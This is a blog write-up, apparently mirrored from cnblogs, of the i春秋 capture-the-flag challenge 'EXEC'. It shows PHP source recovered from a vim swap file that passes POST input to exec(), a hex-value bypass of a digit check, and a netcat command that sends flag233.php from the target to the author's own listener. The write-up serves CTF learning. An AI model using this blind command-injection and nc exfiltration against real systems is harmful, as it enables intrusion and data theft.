zoukankan      html  css  js  c++  java
  • i春秋-百度杯十月场-EXEC

    进入网站,查看源代码,发现是用vim编辑,而抓包没有有效信息,加参数也无果。百度查了一下vim能形成什么文件。找到答案说,用vim编辑文本xxx.php中途退出,会自动创建一个文件.xxx.php.swp。然后我们下载这个文件。

    用 vim -r 命令恢复文件,得到源码:

    <html>
    <head>
    <title>blind cmd exec</title>
    <meta language='utf-8' editor='vim'>
    </head>
    </body>
    <img src=pic.gif>
    <?php
    /*
    flag in flag233.php
    */
    function check($number)
    {
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++)
    {
    $digit = ord($number{$i});
    if ( ($digit >= $one) && ($digit <= $nine) )
    {
    return false;
    }
    }
    return $number == '11259375';
    }
    if(isset($_GET[sign])&& check($_GET[sign])){
    setcookie('auth','tcp tunnel is forbidden!');
    if(isset($_POST['cmd'])){
    $command=$_POST[cmd];
    $result=exec($command);
    //echo $result;
    }
    }else{
    die('no sign');
    }
    ?>
    </body>
    </html>

    代码的意思大致是,参数sign必须是11259375,而且每一位的值的ascii码不能大于1或小于9,只能试试16进制了,成功绕过。

    但是没有echo,就算命令执行了也没有结果返回,没头绪,参考了下别人的,哈哈。

    最后,学到了nc 命令,以前看ctf题都不知道里边的nc是干啥用的,学到了学到了。

    服务器上运行,nc -u -l -p 55566

    然后,cmd=nc -u ip地址 55566 < flag233.php

  • 相关阅读:
    Qt拖放功能
    CUDA笔记 -- 1
    c/c++笔记--5
    SpringBoot注解大全
    Java集合图谱
    sql优化的几种方法
    Spring 体系结构详解
    2019年 Java 面试题解析
    IntelliJ IDEA 快捷键大全
    java集合继承关系
  • 原文地址:https://www.cnblogs.com/whitehawk/p/9893223.html
Copyright © 2011-2022 走看看